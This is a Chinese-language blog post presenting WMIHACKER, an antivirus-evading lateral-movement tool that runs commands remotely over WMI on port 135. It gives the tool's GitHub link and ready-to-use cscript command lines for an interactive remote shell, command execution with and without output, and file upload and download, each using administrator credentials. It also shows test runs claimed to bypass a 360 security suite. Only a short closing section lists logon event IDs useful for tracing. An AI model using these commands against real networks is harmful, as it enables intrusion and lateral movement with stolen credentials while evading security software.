横向移动工具 WMIHACKER 介绍

地球胖头鱼 2020-12-28
系统与内网安全 发布于 2020-12-28 13:35:46 阅读 121 评论 0

简介

免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横向移动测试工具。

其通过135端口进行命令执行,执行的结果读取以及无需445端口进行文件传输。此工具利用的前提条件是: 获取到目标主机的账户密码

可能会有人问既然我都拿到主机的账号密码,我远程直接登录不香吗?那远程桌面连接是不是需要开启3389端口,如果目标主机没有开启3389端口呢?那我使用此款工具是不是可以通过135端口就能实现命令执行,而且还可以实现文件上传/下载功能,同时还免杀。

GitHub项目地址

https://github.com/360-Linton-Lab/WMIHACKER

使用方法

执行模式包括cmdshelluploaddownload分别指执行命令、模拟shell、上传文件、下载文件。

交互式Shell

获取交互式shell

cscript WMIHACKER_0.6.vbs /shell xx.xx.xx.xx administrator "Password!"

命令执行

有命令回显执行方式

cscript WMIHACKER_0.6.vbs /cmd xx.xx.xx.xx administrator "Password!" "ipconfig" 1

无命令回显执行方式

cscript WMIHACKER_0.6.vbs /cmd xx.xx.xx.xx administrator "Password!" "ipconfig > c:\1.txt" 0

文件上传

复制本机calc.exe到远程主机c:\calc.exe

cscript wmihacker_0.4.vbe /upload xx.xx.xx.xx administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"

文件下载

下载远程主机calc.exe到本地c:\calc.exe

cscript wmihacker_0.4.vbe /download xx.xx.xx.xx administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"

测试

环境

攻击机: windows2008
受害机: windows2008并且安装360全家桶

测试有命令回显方式

C:\Users\Administrator\Desktop>cscript //nologo WMIHACKER.vbs /cmd 192.168.0.106
 administrator "abc123!" "ipconfig" 1

测试过程中受害机360 全家桶一直在运行中但是并无查杀反应,说明可以绕过查杀。除了上述方式还可以使用下面这种利用方法:

cscript wmihacke.vbs /cmd 192.168.0.106 administrator "abc123!" "echo whoami > c:1.txt" 0

获得一个交互式shell

C:\Users\Administrator\Desktop>cscript //nologo WMIHACKER.vbs /shell 192.168.0.1
06 administrator "abc123!"

当然其还有上传、下载文件的功能。

使用该工具时会在目标系统上产生4634、4624、4672、4776的登录日志

且会泄漏源地址:

使用该进程进行通信:

溯源时可注重注意该进程、事件活动。总的来说该工具是十分优秀的一款横向工具,且代码写的很优美,方便二开,具体细节有兴趣的可以进行分析。

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章189
  • 作者收获粉丝7
  • 作者收到点赞0
  • 所有文章被收藏了1
  • 博客总访问量排行第2
  • 博客总访问量3.4 万(每日更新)
查看所有博文